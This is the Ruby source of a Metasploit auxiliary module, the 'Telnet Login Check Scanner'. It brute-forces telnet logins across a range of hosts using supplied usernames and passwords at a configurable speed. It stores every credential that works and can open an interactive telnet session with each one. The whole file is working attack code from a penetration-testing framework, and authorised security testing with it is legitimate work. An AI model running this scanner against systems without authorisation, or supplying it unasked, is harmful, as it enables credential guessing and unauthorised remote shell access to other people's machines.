## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'metasploit/framework/credential_collection' require 'metasploit/framework/login_scanner/telnet' class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Telnet include Msf::Auxiliary::Report include Msf::Auxiliary::AuthBrute include Msf::Auxiliary::Scanner include Msf::Auxiliary::CommandShell include Msf::Sessions::CreateSessionOptions include Msf::Auxiliary::ReportSummary def initialize super( 'Name' => 'Telnet Login Check Scanner', 'Description' => %q{ This module will test a telnet login on a range of machines and report successful logins. If you have loaded a database plugin and connected to a database this module will record successful logins and hosts so you can track your access. }, 'Author' => 'egypt', 'References' => [ [ 'CVE', '1999-0502'], # Weak password [ 'ATT&CK', Mitre::Attack::Technique::T1021_REMOTE_SERVICES ] ], 'License' => MSF_LICENSE ) register_advanced_options( [ OptInt.new('TIMEOUT', [ true, 'Default timeout for telnet connections.', 25]) ], self.class ) @no_pass_prompt = [] end attr_accessor :no_pass_prompt attr_accessor :password_only def run_host(ip) cred_collection = build_credential_collection( username: datastore['USERNAME'], password: datastore['PASSWORD'] ) scanner = Metasploit::Framework::LoginScanner::Telnet.new( configure_login_scanner( host: ip, port: rport, proxies: datastore['PROXIES'], cred_details: cred_collection, stop_on_success: datastore['STOP_ON_SUCCESS'], bruteforce_speed: datastore['BRUTEFORCE_SPEED'], connection_timeout: datastore['Timeout'], max_send_size: datastore['TCP::max_send_size'], send_delay: datastore['TCP::send_delay'], banner_timeout: datastore['TelnetBannerTimeout'], telnet_timeout: datastore['TelnetTimeout'], framework: framework, framework_module: self, ssl: datastore['SSL'], ssl_version: datastore['SSLVersion'], ssl_verify_mode: datastore['SSLVerifyMode'], ssl_cipher: datastore['SSLCipher'], local_port: datastore['CPORT'], local_host: datastore['CHOST'] ) ) scanner.scan! do |result| credential_data = result.to_h credential_data.merge!( module_fullname: self.fullname, workspace_id: myworkspace_id ) if result.success? credential_data[:private_type] = :password credential_core = create_credential(credential_data) credential_data[:core] = credential_core create_credential_login(credential_data) print_good "#{ip}:#{rport} - Login Successful: #{result.credential}" start_telnet_session(ip, rport, result.credential.public, result.credential.private, scanner) if datastore['CreateSession'] else invalidate_login(credential_data) vprint_error "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})" disconnect(scanner.sock) end end end def start_telnet_session(host, port, user, pass, scanner) print_status "Attempting to start session #{host}:#{port} with #{user}:#{pass}" merge_me = { 'USERPASS_FILE' => nil, 'USER_FILE' => nil, 'PASS_FILE' => nil, 'USERNAME' => user, 'PASSWORD' => pass } start_session(self, "TELNET #{user}:#{pass} (#{host}:#{port})", merge_me, true, scanner.sock) end end